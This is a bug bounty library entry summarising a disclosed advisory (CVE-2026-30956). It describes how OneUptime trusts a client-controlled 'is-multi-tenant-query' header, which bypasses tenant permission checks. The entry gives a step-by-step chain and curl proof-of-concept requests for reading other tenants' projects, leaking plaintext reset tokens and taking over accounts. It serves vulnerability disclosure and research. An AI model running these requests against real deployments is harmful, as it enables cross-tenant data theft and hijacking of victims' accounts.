# OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover

OneUptime trusted a client-supplied is-multi-tenant-query header, skipping permission checks so any user could read other tenants' projects and plaintext reset tokens, enabling account takeover.

- Payout: Research
- Severity: critical
- Program: OneUptime
- Found by: Zwique
- Disclosed: 2026-03-10
- CVE: CVE-2026-30956
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r5v6-2599-9g3m
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-r5v6-2599-9g3m
- Tags: area:web domain:api domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:critical technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass vuln:idor

**Target:** OneUptime REST API (project get-list/update-item, identity reset flow)
**Root cause:** CommonAPI sets isMultiTenantRequest=true from a client-controlled `is-multi-tenant-query` header; BasePermission and TenantPermission then skip table/query/select permission checks and tenant scoping. Reset tokens are also stored in plaintext.
**Steps:**
1. Send `POST /api/project/get-list` with `authorization: Bearer <attacker_token>`, `projectid: <attacker_project>`, `is-multi-tenant-query: true`, body `{"query":{},"select":{"_id":true,"name":true,"createdOwnerEmail":true}}` — returns all tenants' projects
2. Write bypass: `POST /api/project/<victim_project>/update-item` with same headers and `{"name":"Victim Project EXPLOIT"}` modifies victim project
3. Trigger `POST /api/identity/forgot-password` with `{"email":"victim@example.com"}`
4. Query `POST /api/project/get-list` with `is-multi-tenant-query: true` and select `createdByUser: {email, password, resetPasswordToken}` filtered by victim project `_id` to leak the fresh token
5. Call `POST /api/identity/reset-password` with leaked `resetPasswordToken` and attacker-chosen password
6. Login via `POST /api/identity/login` as victim with new password
**How found:** Code review of CommonAPI.ts/BasePermission.ts revealed the server trusting a client header to set isMultiTenantRequest, and noticing @MultiTenentQueryAllowed models plus plaintext resetPasswordToken storage suggested the ATO chain.
**Exploitation:** Authenticated low-priv user adds `is-multi-tenant-query: true` to any project-scoped request, disabling all permission and tenant checks. They enumerate victim projects, then select nested `createdByUser.resetPasswordToken` (plaintext) after triggering forgot-password, and use it at /api/identity/reset-password to set a new password and log in as the victim.
**Escalation:** Chained read bypass -> sensitive field selection on nested relation -> plaintext reset token leak -> password reset -> full account takeover; write bypass also allows cross-tenant modification.
**Insight:** Grep for request headers that toggle internal flags (isMultiTenantRequest, isAdmin, bypass*) and trace whether they gate permission checks; then check whether any model marked multi-tenant-allowed has relations to User with sensitive selectable fields like reset tokens.

## Proof of concept (copied exactly from the original report)

**Cross-tenant project read via forged header**

```
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'
```

**Reset victim password and login with leaked token**

```
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'
```

